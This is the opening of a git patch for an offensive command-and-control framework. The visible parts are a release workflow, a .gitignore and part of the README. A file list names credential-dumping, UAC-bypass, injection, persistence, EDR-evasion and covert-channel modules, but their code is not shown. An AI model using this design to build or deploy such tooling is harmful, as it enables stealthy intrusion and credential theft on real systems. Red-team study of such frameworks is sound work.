From f49ee89f0b5f2f45422126b445d82b4535df53fd Mon Sep 17 00:00:00 2001
From: 28Zaaky <103369140+28Zaaky@users.noreply.github.com>
Date: Tue, 30 Jun 2026 18:02:46 +0300
Subject: [PATCH] initial
---
.github/workflows/release.yml | 68 +
.gitignore | 74 +
README.md | 153 +
agent/Makefile | 315 +
agent/curl-ca-bundle.crt | 3996 ++
agent/include/adv_lazy.h | 31 +
agent/include/beacon.h | 68 +
agent/include/bof.h | 9 +
agent/include/channels.h | 54 +
agent/include/commands.h | 70 +
agent/include/crypto.h | 56 +
agent/include/evasion.h | 10 +
agent/include/inject.h | 10 +
agent/include/peb_walk.h | 86 +
agent/include/persist.h | 11 +
agent/include/socks.h | 15 +
agent/include/stager_config.h | 17 +
agent/include/util.h | 11 +
agent/rebuild_agent.ps1 | 38 +
agent/res/agent.manifest | 30 +
agent/res/agent.rc | 32 +
agent/src/adv_lazy.c | 51 +
agent/src/beacon.c | 620 +
agent/src/bof/bof.c | 665 +
agent/src/channels/doh.c | 213 +
agent/src/channels/github.c | 301 +
agent/src/channels/http.c | 407 +
agent/src/channels/http_only.c | 81 +
agent/src/channels/smb.c | 166 +
agent/src/channels/teams.c | 269 +
agent/src/commands/download.c | 90 +
agent/src/commands/execasm.c | 312 +
agent/src/commands/fs.c | 186 +
agent/src/commands/getpid.c | 48 +
agent/src/commands/getsystem.c | 560 +
agent/src/commands/hashdump.c | 122 +
agent/src/commands/kerberos.c | 1149 +
agent/src/commands/lpe_check.c | 412 +
agent/src/commands/lsass.c | 399 +
agent/src/commands/portscan.c | 143 +
agent/src/commands/ps.c | 115 +
agent/src/commands/reg.c | 309 +
agent/src/commands/screenshot.c | 236 +
agent/src/commands/shell.c | 206 +
agent/src/commands/spawn.c | 260 +
agent/src/commands/token.c | 299 +
agent/src/commands/uac.c | 849 +
agent/src/commands/upload.c | 55 +
agent/src/commands/wmi.c | 191 +
agent/src/crypto/chacha.c | 191 +
agent/src/crypto/handshake.c | 161 +
agent/src/entry.c | 80 +
agent/src/evasion/evasion.c | 601 +
agent/src/evs.c | 12 +
agent/src/inject/inject.c | 1046 +
agent/src/inject/inject_stub.c | 13 +
agent/src/inject/spoof_stub.S | 34 +
agent/src/lifter/lifter.c | 373 +
agent/src/main.c | 740 +
agent/src/persist/persist.c | 269 +
agent/src/reflect/dllmain.c | 22 +
agent/src/reflect/reflect.c | 246 +
agent/src/relay/smb_relay.c | 299 +
agent/src/socks/rportfwd.c | 300 +
agent/src/socks/socks.c | 266 +
agent/src/stager/hollow.c | 313 +
agent/src/stager/stager.c | 130 +
agent/src/util.c | 61 +
agent/tests/bof_hello.c | 23 +
agent/tests/test_bof.c | 170 +
agent/tools/gen_evs_strings.py | 319 +
agent/tools/gen_stager_config.py | 67 +
agent/tools/get_cert_pin.py | 33 +
agent/tools/obfuscate.py | 138 +
agent/tools/pe2sc.py | 82 +
agent/tools/pe_scrub.py | 84 +
build-linux.sh | 67 +
crypter/build.py | 104 +
crypter/res/loader.manifest | 30 +
crypter/res/loader.rc | 33 +
crypter/res/stager.manifest | 29 +
crypter/res/stager.rc | 32 +
crypter/stager/Makefile | 59 +
crypter/stager/stager.c | 149 +
crypter/stub/Makefile | 68 +
crypter/stub/payload.h | 44072 ++++++++++++++++
crypter/stub/payload_meta.h | 5 +
crypter/stub/pe_load.c | 149 +
crypter/stub/pe_load.h | 5 +
crypter/stub/peb_utils.h | 79 +
crypter/stub/stub.c | 105 +
crypter/tools/bake.py | 133 +
install.sh | 74 +
server/c2proxy.php | 84 +
server/config.example.yaml | 38 +
server/database.py | 20 +
server/gen_cert.sh | 20 +
server/khaos-server.spec | 67 +
server/main.py | 283 +
server/models/__init__.py | 0
server/models/agent.py | 49 +
server/models/cred.py | 31 +
server/models/log.py | 25 +
server/models/task.py | 47 +
server/models/user.py | 28 +
server/requirements.txt | 9 +
server/routers/__init__.py | 0
server/routers/agents.py | 117 +
server/routers/auth.py | 166 +
server/routers/beacon.py | 78 +
server/routers/build.py | 285 +
server/routers/creds.py | 76 +
server/routers/stage.py | 51 +
server/routers/tasks.py | 204 +
server/services/__init__.py | 0
server/services/agent_manager.py | 254 +
server/services/channel_reader.py | 517 +
server/services/crypto.py | 134 +
server/services/dns_server.py | 189 +
server/services/ws_manager.py | 43 +
server/start.ps1 | 29 +
server/start.sh | 32 +
start_all.ps1 | 66 +
techniques/evs-xor/Makefile | 36 +
techniques/evs-xor/README.md | 166 +
techniques/evs-xor/build/demo.exe | Bin 0 -> 267563 bytes
techniques/evs-xor/build/demo.o | Bin 0 -> 4450 bytes
techniques/evs-xor/build/evs.o | Bin 0 -> 388 bytes
techniques/evs-xor/gen_evs.py | 114 +
techniques/evs-xor/include/evs.h | 35 +
techniques/evs-xor/include/evs_strings.h | 52 +
techniques/evs-xor/src/demo.c | 109 +
techniques/evs-xor/src/evs.c | 21 +
techniques/evs-xor/strings.txt | 45 +
techniques/hwbp-evasion/Makefile | 27 +
techniques/hwbp-evasion/README.md | 120 +
.../hwbp-evasion/include/hwbp_evasion.h | 18 +
techniques/hwbp-evasion/src/demo.c | 83 +
techniques/hwbp-evasion/src/hwbp_evasion.c | 128 +
techniques/indirect-syscalls/Makefile | 33 +
techniques/indirect-syscalls/README.md | 195 +
techniques/indirect-syscalls/build/demo.exe | Bin 0 -> 268369 bytes
techniques/indirect-syscalls/build/demo.o | Bin 0 -> 3988 bytes
.../build/indirect_syscall.o | Bin 0 -> 1795 bytes
.../indirect-syscalls/build/spoof_stub.o | Bin 0 -> 548 bytes
.../include/indirect_syscall.h | 54 +
techniques/indirect-syscalls/src/demo.c | 117 +
.../indirect-syscalls/src/indirect_syscall.c | 96 +
techniques/indirect-syscalls/src/spoof_stub.S | 69 +
techniques/ntdll-unhook/Makefile | 27 +
techniques/ntdll-unhook/README.md | 112 +
techniques/ntdll-unhook/build/demo.exe | Bin 0 -> 267560 bytes
.../ntdll-unhook/include/ntdll_unhook.h | 23 +
techniques/ntdll-unhook/src/demo.c | 50 +
techniques/ntdll-unhook/src/ntdll_unhook.c | 124 +
techniques/reflect-dll/.gitignore | 3 +
techniques/reflect-dll/Makefile | 28 +
techniques/reflect-dll/README.md | 43 +
techniques/reflect-dll/build/debug_loader.exe | Bin 0 -> 276314 bytes
techniques/reflect-dll/build/example.dll | Bin 0 -> 149960 bytes
techniques/reflect-dll/build/example.enc | 0
techniques/reflect-dll/build/example_dbg.dll | Bin 0 -> 248472 bytes
techniques/reflect-dll/build/loader.exe | Bin 0 -> 277344 bytes
techniques/reflect-dll/examples/loader.c | 225 +
techniques/reflect-dll/include/reflect.h | 6 +
techniques/reflect-dll/src/debug_loader.c | 283 +
techniques/reflect-dll/src/example_dll.c | 75 +
techniques/reflect-dll/src/reflect.c | 520 +
techniques/reflect-dll/tools/gen_hashes.py | 20 +
techniques/sleep-obf/Makefile | 28 +
techniques/sleep-obf/README.md | 117 +
techniques/sleep-obf/include/sleep_obf.h | 22 +
techniques/sleep-obf/src/demo.c | 26 +
techniques/sleep-obf/src/sleep_obf.c | 323 +
ui/index.html | 16 +
ui/package-lock.json | 2281 +
ui/package.json | 30 +
ui/public/favicon.png | Bin 0 -> 11353 bytes
ui/src-tauri/.cargo/config.toml | 2 +
ui/src-tauri/Cargo.lock | 4594 ++
ui/src-tauri/Cargo.toml | 20 +
ui/src-tauri/build.rs | 3 +
ui/src-tauri/capabilities/default.json | 9 +
ui/src-tauri/gen/schemas/acl-manifests.json | 1 +
ui/src-tauri/gen/schemas/capabilities.json | 1 +
ui/src-tauri/gen/schemas/desktop-schema.json | 2292 +
ui/src-tauri/gen/schemas/windows-schema.json | 2292 +
ui/src-tauri/icons/128x128.png | Bin 0 -> 3217 bytes
ui/src-tauri/icons/128x128@2x.png | Bin 0 -> 6192 bytes
ui/src-tauri/icons/32x32.png | Bin 0 -> 923 bytes
ui/src-tauri/icons/64x64.png | Bin 0 -> 1744 bytes
ui/src-tauri/icons/Square107x107Logo.png | Bin 0 -> 2759 bytes
ui/src-tauri/icons/Square142x142Logo.png | Bin 0 -> 3428 bytes
ui/src-tauri/icons/Square150x150Logo.png | Bin 0 -> 3693 bytes
ui/src-tauri/icons/Square284x284Logo.png | Bin 0 -> 6886 bytes
ui/src-tauri/icons/Square30x30Logo.png | Bin 0 -> 838 bytes
ui/src-tauri/icons/Square310x310Logo.png | Bin 0 -> 7585 bytes
ui/src-tauri/icons/Square44x44Logo.png | Bin 0 -> 1225 bytes
ui/src-tauri/icons/Square71x71Logo.png | Bin 0 -> 1908 bytes
ui/src-tauri/icons/Square89x89Logo.png | Bin 0 -> 2309 bytes
ui/src-tauri/icons/StoreLogo.png | Bin 0 -> 1342 bytes
.../android/mipmap-anydpi-v26/ic_launcher.xml | 5 +
.../icons/android/mipmap-hdpi/ic_launcher.png | Bin 0 -> 1244 bytes
.../mipmap-hdpi/ic_launcher_foreground.png | Bin 0 -> 3886 bytes
.../android/mipmap-hdpi/ic_launcher_round.png | Bin 0 -> 1464 bytes
.../icons/android/mipmap-mdpi/ic_launcher.png | Bin 0 -> 1267 bytes
.../mipmap-mdpi/ic_launcher_foreground.png | Bin 0 -> 2765 bytes
.../android/mipmap-mdpi/ic_launcher_round.png | Bin 0 -> 1401 bytes
.../android/mipmap-xhdpi/ic_launcher.png | Bin 0 -> 2447 bytes
.../mipmap-xhdpi/ic_launcher_foreground.png | Bin 0 -> 5072 bytes
.../mipmap-xhdpi/ic_launcher_round.png | Bin 0 -> 2806 bytes
.../android/mipmap-xxhdpi/ic_launcher.png | Bin 0 -> 3541 bytes
.../mipmap-xxhdpi/ic_launcher_foreground.png | Bin 0 -> 8028 bytes
.../mipmap-xxhdpi/ic_launcher_round.png | Bin 0 -> 4176 bytes
.../android/mipmap-xxxhdpi/ic_launcher.png | Bin 0 -> 4709 bytes
.../mipmap-xxxhdpi/ic_launcher_foreground.png | Bin 0 -> 11720 bytes
.../mipmap-xxxhdpi/ic_launcher_round.png | Bin 0 -> 5463 bytes
.../android/values/ic_launcher_background.xml | 4 +
ui/src-tauri/icons/icon.icns | Bin 0 -> 96802 bytes
ui/src-tauri/icons/icon.ico | Bin 0 -> 12203 bytes
ui/src-tauri/icons/icon.png | Bin 0 -> 14311 bytes
ui/src-tauri/icons/ios/AppIcon-20x20@1x.png | Bin 0 -> 567 bytes
ui/src-tauri/icons/ios/AppIcon-20x20@2x-1.png | Bin 0 -> 1134 bytes
ui/src-tauri/icons/ios/AppIcon-20x20@2x.png | Bin 0 -> 1134 bytes
ui/src-tauri/icons/ios/AppIcon-20x20@3x.png | Bin 0 -> 1641 bytes
ui/src-tauri/icons/ios/AppIcon-29x29@1x.png | Bin 0 -> 799 bytes
ui/src-tauri/icons/ios/AppIcon-29x29@2x-1.png | Bin 0 -> 1575 bytes
ui/src-tauri/icons/ios/AppIcon-29x29@2x.png | Bin 0 -> 1575 bytes
ui/src-tauri/icons/ios/AppIcon-29x29@3x.png | Bin 0 -> 2249 bytes
ui/src-tauri/icons/ios/AppIcon-40x40@1x.png | Bin 0 -> 1134 bytes
ui/src-tauri/icons/ios/AppIcon-40x40@2x-1.png | Bin 0 -> 2102 bytes
ui/src-tauri/icons/ios/AppIcon-40x40@2x.png | Bin 0 -> 2102 bytes
ui/src-tauri/icons/ios/AppIcon-40x40@3x.png | Bin 0 -> 2984 bytes
ui/src-tauri/icons/ios/AppIcon-512@2x.png | Bin 0 -> 46895 bytes
ui/src-tauri/icons/ios/AppIcon-60x60@2x.png | Bin 0 -> 2984 bytes
ui/src-tauri/icons/ios/AppIcon-60x60@3x.png | Bin 0 -> 4356 bytes
ui/src-tauri/icons/ios/AppIcon-76x76@1x.png | Bin 0 -> 2038 bytes
ui/src-tauri/icons/ios/AppIcon-76x76@2x.png | Bin 0 -> 3661 bytes
.../icons/ios/AppIcon-83.5x83.5@2x.png | Bin 0 -> 3993 bytes
ui/src-tauri/src/lib.rs | 89 +
ui/src-tauri/src/main.rs | 6 +
ui/src-tauri/tauri.conf.json | 43 +
ui/src/App.jsx | 1247 +
ui/src/components/Build.jsx | 538 +
ui/src/components/CommandPalette.jsx | 218 +
ui/src/components/Creds.jsx | 169 +
ui/src/components/Dashboard.jsx | 369 +
ui/src/components/DetailPanel.jsx | 191 +
ui/src/components/FileManager.jsx | 250 +
ui/src/components/Logs.jsx | 176 +
ui/src/components/Loot.jsx | 201 +
ui/src/components/NetworkMap.jsx | 459 +
ui/src/components/Screenshots.jsx | 105 +
ui/src/components/Tasks.jsx | 124 +
ui/src/components/Terminal.jsx | 764 +
ui/src/components/TerminalWindow.jsx | 153 +
ui/src/components/Toast.jsx | 75 +
ui/src/components/Users.jsx | 141 +
ui/src/main.jsx | 9 +
ui/src/store/useAgentStore.js | 328 +
ui/vite.config.js | 25 +
261 files changed, 88879 insertions(+)
create mode 100644 .github/workflows/release.yml
create mode 100644 .gitignore
create mode 100644 README.md
create mode 100644 agent/Makefile
create mode 100644 agent/curl-ca-bundle.crt
create mode 100644 agent/include/adv_lazy.h
create mode 100644 agent/include/beacon.h
create mode 100644 agent/include/bof.h
create mode 100644 agent/include/channels.h
create mode 100644 agent/include/commands.h
create mode 100644 agent/include/crypto.h
create mode 100644 agent/include/evasion.h
create mode 100644 agent/include/inject.h
create mode 100644 agent/include/peb_walk.h
create mode 100644 agent/include/persist.h
create mode 100644 agent/include/socks.h
create mode 100644 agent/include/stager_config.h
create mode 100644 agent/include/util.h
create mode 100644 agent/rebuild_agent.ps1
create mode 100644 agent/res/agent.manifest
create mode 100644 agent/res/agent.rc
create mode 100644 agent/src/adv_lazy.c
create mode 100644 agent/src/beacon.c
create mode 100644 agent/src/bof/bof.c
create mode 100644 agent/src/channels/doh.c
create mode 100644 agent/src/channels/github.c
create mode 100644 agent/src/channels/http.c
create mode 100644 agent/src/channels/http_only.c
create mode 100644 agent/src/channels/smb.c
create mode 100644 agent/src/channels/teams.c
create mode 100644 agent/src/commands/download.c
create mode 100644 agent/src/commands/execasm.c
create mode 100644 agent/src/commands/fs.c
create mode 100644 agent/src/commands/getpid.c
create mode 100644 agent/src/commands/getsystem.c
create mode 100644 agent/src/commands/hashdump.c
create mode 100644 agent/src/commands/kerberos.c
create mode 100644 agent/src/commands/lpe_check.c
create mode 100644 agent/src/commands/lsass.c
create mode 100644 agent/src/commands/portscan.c
create mode 100644 agent/src/commands/ps.c
create mode 100644 agent/src/commands/reg.c
create mode 100644 agent/src/commands/screenshot.c
create mode 100644 agent/src/commands/shell.c
create mode 100644 agent/src/commands/spawn.c
create mode 100644 agent/src/commands/token.c
create mode 100644 agent/src/commands/uac.c
create mode 100644 agent/src/commands/upload.c
create mode 100644 agent/src/commands/wmi.c
create mode 100644 agent/src/crypto/chacha.c
create mode 100644 agent/src/crypto/handshake.c
create mode 100644 agent/src/entry.c
create mode 100644 agent/src/evasion/evasion.c
create mode 100644 agent/src/evs.c
create mode 100644 agent/src/inject/inject.c
create mode 100644 agent/src/inject/inject_stub.c
create mode 100644 agent/src/inject/spoof_stub.S
create mode 100644 agent/src/lifter/lifter.c
create mode 100644 agent/src/main.c
create mode 100644 agent/src/persist/persist.c
create mode 100644 agent/src/reflect/dllmain.c
create mode 100644 agent/src/reflect/reflect.c
create mode 100644 agent/src/relay/smb_relay.c
create mode 100644 agent/src/socks/rportfwd.c
create mode 100644 agent/src/socks/socks.c
create mode 100644 agent/src/stager/hollow.c
create mode 100644 agent/src/stager/stager.c
create mode 100644 agent/src/util.c
create mode 100644 agent/tests/bof_hello.c
create mode 100644 agent/tests/test_bof.c
create mode 100644 agent/tools/gen_evs_strings.py
create mode 100644 agent/tools/gen_stager_config.py
create mode 100644 agent/tools/get_cert_pin.py
create mode 100644 agent/tools/obfuscate.py
create mode 100644 agent/tools/pe2sc.py
create mode 100644 agent/tools/pe_scrub.py
create mode 100644 build-linux.sh
create mode 100644 crypter/build.py
create mode 100644 crypter/res/loader.manifest
create mode 100644 crypter/res/loader.rc
create mode 100644 crypter/res/stager.manifest
create mode 100644 crypter/res/stager.rc
create mode 100644 crypter/stager/Makefile
create mode 100644 crypter/stager/stager.c
create mode 100644 crypter/stub/Makefile
create mode 100644 crypter/stub/payload.h
create mode 100644 crypter/stub/payload_meta.h
create mode 100644 crypter/stub/pe_load.c
create mode 100644 crypter/stub/pe_load.h
create mode 100644 crypter/stub/peb_utils.h
create mode 100644 crypter/stub/stub.c
create mode 100644 crypter/tools/bake.py
create mode 100644 install.sh
create mode 100644 server/c2proxy.php
create mode 100644 server/config.example.yaml
create mode 100644 server/database.py
create mode 100644 server/gen_cert.sh
create mode 100644 server/khaos-server.spec
create mode 100644 server/main.py
create mode 100644 server/models/__init__.py
create mode 100644 server/models/agent.py
create mode 100644 server/models/cred.py
create mode 100644 server/models/log.py
create mode 100644 server/models/task.py
create mode 100644 server/models/user.py
create mode 100644 server/requirements.txt
create mode 100644 server/routers/__init__.py
create mode 100644 server/routers/agents.py
create mode 100644 server/routers/auth.py
create mode 100644 server/routers/beacon.py
create mode 100644 server/routers/build.py
create mode 100644 server/routers/creds.py
create mode 100644 server/routers/stage.py
create mode 100644 server/routers/tasks.py
create mode 100644 server/services/__init__.py
create mode 100644 server/services/agent_manager.py
create mode 100644 server/services/channel_reader.py
create mode 100644 server/services/crypto.py
create mode 100644 server/services/dns_server.py
create mode 100644 server/services/ws_manager.py
create mode 100644 server/start.ps1
create mode 100644 server/start.sh
create mode 100644 start_all.ps1
create mode 100644 techniques/evs-xor/Makefile
create mode 100644 techniques/evs-xor/README.md
create mode 100644 techniques/evs-xor/build/demo.exe
create mode 100644 techniques/evs-xor/build/demo.o
create mode 100644 techniques/evs-xor/build/evs.o
create mode 100644 techniques/evs-xor/gen_evs.py
create mode 100644 techniques/evs-xor/include/evs.h
create mode 100644 techniques/evs-xor/include/evs_strings.h
create mode 100644 techniques/evs-xor/src/demo.c
create mode 100644 techniques/evs-xor/src/evs.c
create mode 100644 techniques/evs-xor/strings.txt
create mode 100644 techniques/hwbp-evasion/Makefile
create mode 100644 techniques/hwbp-evasion/README.md
create mode 100644 techniques/hwbp-evasion/include/hwbp_evasion.h
create mode 100644 techniques/hwbp-evasion/src/demo.c
create mode 100644 techniques/hwbp-evasion/src/hwbp_evasion.c
create mode 100644 techniques/indirect-syscalls/Makefile
create mode 100644 techniques/indirect-syscalls/README.md
create mode 100644 techniques/indirect-syscalls/build/demo.exe
create mode 100644 techniques/indirect-syscalls/build/demo.o
create mode 100644 techniques/indirect-syscalls/build/indirect_syscall.o
create mode 100644 techniques/indirect-syscalls/build/spoof_stub.o
create mode 100644 techniques/indirect-syscalls/include/indirect_syscall.h
create mode 100644 techniques/indirect-syscalls/src/demo.c
create mode 100644 techniques/indirect-syscalls/src/indirect_syscall.c
create mode 100644 techniques/indirect-syscalls/src/spoof_stub.S
create mode 100644 techniques/ntdll-unhook/Makefile
create mode 100644 techniques/ntdll-unhook/README.md
create mode 100644 techniques/ntdll-unhook/build/demo.exe
create mode 100644 techniques/ntdll-unhook/include/ntdll_unhook.h
create mode 100644 techniques/ntdll-unhook/src/demo.c
create mode 100644 techniques/ntdll-unhook/src/ntdll_unhook.c
create mode 100644 techniques/reflect-dll/.gitignore
create mode 100644 techniques/reflect-dll/Makefile
create mode 100644 techniques/reflect-dll/README.md
create mode 100644 techniques/reflect-dll/build/debug_loader.exe
create mode 100644 techniques/reflect-dll/build/example.dll
create mode 100644 techniques/reflect-dll/build/example.enc
create mode 100644 techniques/reflect-dll/build/example_dbg.dll
create mode 100644 techniques/reflect-dll/build/loader.exe
create mode 100644 techniques/reflect-dll/examples/loader.c
create mode 100644 techniques/reflect-dll/include/reflect.h
create mode 100644 techniques/reflect-dll/src/debug_loader.c
create mode 100644 techniques/reflect-dll/src/example_dll.c
create mode 100644 techniques/reflect-dll/src/reflect.c
create mode 100644 techniques/reflect-dll/tools/gen_hashes.py
create mode 100644 techniques/sleep-obf/Makefile
create mode 100644 techniques/sleep-obf/README.md
create mode 100644 techniques/sleep-obf/include/sleep_obf.h
create mode 100644 techniques/sleep-obf/src/demo.c
create mode 100644 techniques/sleep-obf/src/sleep_obf.c
create mode 100644 ui/index.html
create mode 100644 ui/package-lock.json
create mode 100644 ui/package.json
create mode 100644 ui/public/favicon.png
create mode 100644 ui/src-tauri/.cargo/config.toml
create mode 100644 ui/src-tauri/Cargo.lock
create mode 100644 ui/src-tauri/Cargo.toml
create mode 100644 ui/src-tauri/build.rs
create mode 100644 ui/src-tauri/capabilities/default.json
create mode 100644 ui/src-tauri/gen/schemas/acl-manifests.json
create mode 100644 ui/src-tauri/gen/schemas/capabilities.json
create mode 100644 ui/src-tauri/gen/schemas/desktop-schema.json
create mode 100644 ui/src-tauri/gen/schemas/windows-schema.json
create mode 100644 ui/src-tauri/icons/128x128.png
create mode 100644 ui/src-tauri/icons/128x128@2x.png
create mode 100644 ui/src-tauri/icons/32x32.png
create mode 100644 ui/src-tauri/icons/64x64.png
create mode 100644 ui/src-tauri/icons/Square107x107Logo.png
create mode 100644 ui/src-tauri/icons/Square142x142Logo.png
create mode 100644 ui/src-tauri/icons/Square150x150Logo.png
create mode 100644 ui/src-tauri/icons/Square284x284Logo.png
create mode 100644 ui/src-tauri/icons/Square30x30Logo.png
create mode 100644 ui/src-tauri/icons/Square310x310Logo.png
create mode 100644 ui/src-tauri/icons/Square44x44Logo.png
create mode 100644 ui/src-tauri/icons/Square71x71Logo.png
create mode 100644 ui/src-tauri/icons/Square89x89Logo.png
create mode 100644 ui/src-tauri/icons/StoreLogo.png
create mode 100644 ui/src-tauri/icons/android/mipmap-anydpi-v26/ic_launcher.xml
create mode 100644 ui/src-tauri/icons/android/mipmap-hdpi/ic_launcher.png
create mode 100644 ui/src-tauri/icons/android/mipmap-hdpi/ic_launcher_foreground.png
create mode 100644 ui/src-tauri/icons/android/mipmap-hdpi/ic_launcher_round.png
create mode 100644 ui/src-tauri/icons/android/mipmap-mdpi/ic_launcher.png
create mode 100644 ui/src-tauri/icons/android/mipmap-mdpi/ic_launcher_foreground.png
create mode 100644 ui/src-tauri/icons/android/mipmap-mdpi/ic_launcher_round.png
create mode 100644 ui/src-tauri/icons/android/mipmap-xhdpi/ic_launcher.png
create mode 100644 ui/src-tauri/icons/android/mipmap-xhdpi/ic_launcher_foreground.png
create mode 100644 ui/src-tauri/icons/android/mipmap-xhdpi/ic_launcher_round.png
create mode 100644 ui/src-tauri/icons/android/mipmap-xxhdpi/ic_launcher.png
create mode 100644 ui/src-tauri/icons/android/mipmap-xxhdpi/ic_launcher_foreground.png
create mode 100644 ui/src-tauri/icons/android/mipmap-xxhdpi/ic_launcher_round.png
create mode 100644 ui/src-tauri/icons/android/mipmap-xxxhdpi/ic_launcher.png
create mode 100644 ui/src-tauri/icons/android/mipmap-xxxhdpi/ic_launcher_foreground.png
create mode 100644 ui/src-tauri/icons/android/mipmap-xxxhdpi/ic_launcher_round.png
create mode 100644 ui/src-tauri/icons/android/values/ic_launcher_background.xml
create mode 100644 ui/src-tauri/icons/icon.icns
create mode 100644 ui/src-tauri/icons/icon.ico
create mode 100644 ui/src-tauri/icons/icon.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-20x20@1x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-20x20@2x-1.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-20x20@2x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-20x20@3x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-29x29@1x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-29x29@2x-1.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-29x29@2x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-29x29@3x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-40x40@1x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-40x40@2x-1.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-40x40@2x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-40x40@3x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-512@2x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-60x60@2x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-60x60@3x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-76x76@1x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-76x76@2x.png
create mode 100644 ui/src-tauri/icons/ios/AppIcon-83.5x83.5@2x.png
create mode 100644 ui/src-tauri/src/lib.rs
create mode 100644 ui/src-tauri/src/main.rs
create mode 100644 ui/src-tauri/tauri.conf.json
create mode 100644 ui/src/App.jsx
create mode 100644 ui/src/components/Build.jsx
create mode 100644 ui/src/components/CommandPalette.jsx
create mode 100644 ui/src/components/Creds.jsx
create mode 100644 ui/src/components/Dashboard.jsx
create mode 100644 ui/src/components/DetailPanel.jsx
create mode 100644 ui/src/components/FileManager.jsx
create mode 100644 ui/src/components/Logs.jsx
create mode 100644 ui/src/components/Loot.jsx
create mode 100644 ui/src/components/NetworkMap.jsx
create mode 100644 ui/src/components/Screenshots.jsx
create mode 100644 ui/src/components/Tasks.jsx
create mode 100644 ui/src/components/Terminal.jsx
create mode 100644 ui/src/components/TerminalWindow.jsx
create mode 100644 ui/src/components/Toast.jsx
create mode 100644 ui/src/components/Users.jsx
create mode 100644 ui/src/main.jsx
create mode 100644 ui/src/store/useAgentStore.js
create mode 100644 ui/vite.config.js
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
new file mode 100644
index 0000000..ad68637
--- /dev/null
+++ b/.github/workflows/release.yml
@@ -0,0 +1,68 @@
+name: Release
+
+on:
+ push:
+ tags:
+ - 'v*'
+
+permissions:
+ contents: write
+
+jobs:
+ release:
+ runs-on: ubuntu-22.04
+ steps:
+ - uses: actions/checkout@v4
+
+ - name: Install toolchain
+ run: |
+ sudo apt-get update -qq
+ sudo apt-get install -y --no-install-recommends \
+ gcc-mingw-w64-x86-64 binutils-mingw-w64-x86-64 mingw-w64 make \
+ python3 python3-pip nodejs npm
+
+ - name: Install Python deps
+ run: pip3 install -r server/requirements.txt
+
+ - name: Build UI
+ run: cd ui && npm ci && npm run build
+
+ - name: Build agent (standalone HTTP — demo build)
+ run: |
+ cd agent
+ touch include/agent_config.h include/evs_strings.h
+ make standalone BEACON_URL=""
+ continue-on-error: true
+
+ - name: Create Release
+ uses: softprops/action-gh-release@v2
+ with:
+ name: KHAØS C2 ${{ github.ref_name }}
+ files: |
+ agent/agent.exe
+ body: |
+ ## KHAØS C2 ${{ github.ref_name }}
+
+ ### Quick start (Linux VPS)
+
+ ```bash
+ git clone https://github.com/28Zaaky/khaos-c2
+ cd khaos-c2
+ sudo bash install.sh
+ # edit server/config.yaml
+ python3 server/main.py
+ ```
+
+ ### Agent
+
+ Build via the **UI → Build tab** (MinGW is installed by `install.sh`).
+ No local toolchain required on the operator machine.
+
+ The `agent.exe` attached to this release is a **demo build** (no credentials embedded).
+ It will not beacon anywhere. Rebuild from the UI after configuring `config.yaml`.
+
+ ### Channels
+ `Teams` / `GitHub Gist` / `DNS-over-HTTPS` / `HTTP` / `SMB pivot`
+ Enable only what you need in `config.yaml` — unconfigured channels are skipped.
+ env:
+ GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..4eb1481
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,74 @@
+# .gitignore — KHAØS C2
+
+# ── Secrets & credentials ────────────────────────────────────────────────────
+server/config.yaml
+server/.env
+server/*.pem
+server/*.key
+server/*.crt
+agent/include/agent_config.h
+agent/include/evs_strings.h
+agent/src/config/agent_config.h
+
+# ── Landing (served separately — not part of the OSS release) ───────────────
+landing/
+
+# ── Internal docs ───────────────────────────────────────────────────────────
+LegitC2_CahierDesCharges.md
+
+# ── Python ──────────────────────────────────────────────────────────────────
+server/venv/
+__pycache__/
+**/__pycache__/
+*.pyc
+*.pyo
+server/*.db
+server/*.log
+server/server_out.txt
+server/server_err.txt
+server/build/
+server/dist/
+
+# ── Node / UI ────────────────────────────────────────────────────────────────
+ui/node_modules/
+ui/dist/
+ui/.env
+ui/src-tauri/binaries/*.exe
+
+# ── Agent build artifacts ────────────────────────────────────────────────────
+agent/nul
+agent/agent_out*.txt
+agent/agent_err*.txt
+agent/st??????
+agent/build/
+agent/*.exe
+agent/*.dll
+agent/*.o
+agent/*.a
+agent/*.bin
+agent/*.bak
+
+# ── Crypter artifacts ────────────────────────────────────────────────────────
+crypter/output/
+crypter/stub/*.exe
+crypter/stub/*.bin
+crypter/stub/*.o
+crypter/stager/*.exe
+crypter/stager/*.bin
+crypter/stager/*.o
+crypter/stager/stager_cfg.h
+
+# ── Root artifacts ────────────────────────────────────────────────────────────
+vm_deploy.zip
+*.zip
+build-linux.sh
+
+# ── OS ────────────────────────────────────────────────────────────────────────
+.DS_Store
+Thumbs.db
+desktop.ini
+
+# ── Editors ──────────────────────────────────────────────────────────────────
+.vscode/
+.idea/
+*.swp
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3ce07ac
--- /dev/null
+++ b/README.md
@@ -0,0 +1,153 @@
+
+

+
KHAØS C2
+
KHAØS is a modern post-exploitation C2 framework with 5 covert channels and full evasion built in, created by @28Zaaky.
+
+ [](LICENSE)
+ [](https://discord.gg/qNeK6cvwSq)
+ [](https://khaos.khaotic.fr)
+
+
+---
+
+
+
+
+
+
+---
+See the [documentation](https://khaos.khaotic.fr/docs.html) for full instructions.
+---
+
+## Why KHAØS
+
+Most open-source C2s have one thing in common: they're already in every EDR vendor's database. KHAØS was built with that in mind from day one.
+
